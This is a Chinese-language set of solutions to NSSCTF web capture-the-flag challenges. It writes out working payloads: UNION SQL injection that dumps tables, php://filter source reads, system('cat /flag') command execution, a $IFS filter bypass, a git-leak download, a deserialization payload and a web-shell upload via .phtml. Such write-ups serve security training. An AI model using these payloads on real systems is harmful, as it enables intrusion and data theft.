NSSCTF Web 竞赛题目解题汇总

/?file=flag.php

伪协议读源码：php://filter/read=convert.base64-encode/resource=flag.php

Base64 解密得：

<?php 
$flag='NSSCTF{d44702c1-094b-489a-a0ab-50471944f73d}';

[SWPUCTF 2021 新生赛] easy_sql

字符型单引号。判断列数：/?wllm=-1' order by 4--+

/?wllm=-1' order by 3--+

共 3 列

查看回显位：/?wllm=-1' union select 1,2,3--+

回显位 2，3

查库：/?wllm=-1' union select 1,2,database()--+

库 test_db

查表：/?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db"--+

表 test_tb,users

查 test_tb 表的所有字段：/?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="test_db" and table_name="test_tb"--+

所有字段 id,flag

查看 flag 字段的内容：/?wllm=-1' union select 1,2,flag from test_tb--+

NSSCTF{e2e3e44f-3751-4545-b48f-4c41818fa887}

[LitCTF 2023] 我 Flag 呢？

查看源码

NSSCTF{cd21a6ec-88cb-46cd-b40f-1d0baa9b785f}

[SWPUCTF 2021 新生赛] easyrce

/?url=echo(system("ls /"));

/?url=echo(system("cat /flllllaaaaaaggggggg"));

NSSCTF{80867aa5-b8f8-4ebb-bbe8-d38fb3b5206f}

[SWPUCTF 2021 新生赛] caidao

wllm=system("cat /flag");

NSSCTF{c30de7d3-4048-4037-8bf6-265e61bdc95a}

[SWPUCTF 2021 新生赛] Do_you_know_http

BP 抓包，将 UA 内容改为：WLLM

要求本地，X-Forwarded-For: 127.0.0.1

NSSCTF{6207b742-51ff-42e3-a012-aede36925162}

[SWPUCTF 2021 新生赛] babyrce

按要求传值

访问 rasalghul.php

只过滤了空格，用 $IFS$1 绕过：/rasalghul.php?url=cat$IFS$1/flllllaaaaaaggggggg

NSSCTF{571f2fa9-f820-4245-9f42-c08d6061d016}

[第五空间 2021] WebFTP

标题中提示了 git 泄露

用工具下载泄漏文件：python githack.py http://node7.anna.nssctf.cn:26492/.git/

打开下载完的文件夹，发现是空的。目录扫描：

访问 phpinfo.php

NSSCTF{d7c12238-0701-467f-9ca8-d0a4971e903f}

[SWPUCTF 2021 新生赛] ez_unserialize

查看源码

访问 robots.txt

访问 cl45s.php

POC：

<?php class wllm{ public $admin="admin"; public $passwd="ctf"; } echo serialize(new wllm());

Payload：/cl45s.php?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

NSSCTF{01336073-5e78-4911-a3ee-f7dcbf4846d3}

[SWPUCTF 2021 新生赛] easyupload2.0

只过滤了 php 后缀，用 phtml 代替即可。上传小马后，进行命令执行：cmd=system("env");

NSSCTF{cff7743d-5e0e-47f5-a56f-f28896e96f7b}

[LitCTF 2023] 导弹迷踪

前端源码中没有信息，查看网络：

在 game.js 中发现 flag：NSSCTF{y0u_w1n_th1s_!!!}

[LitCTF 2023] PHP 是世界上最好的语言！！

输入 php 代码并执行

<?php system("cat /flag");?>

NSSCTF{cb2166a8-18d3-4c03-83eb-1fbe47d1b2b7}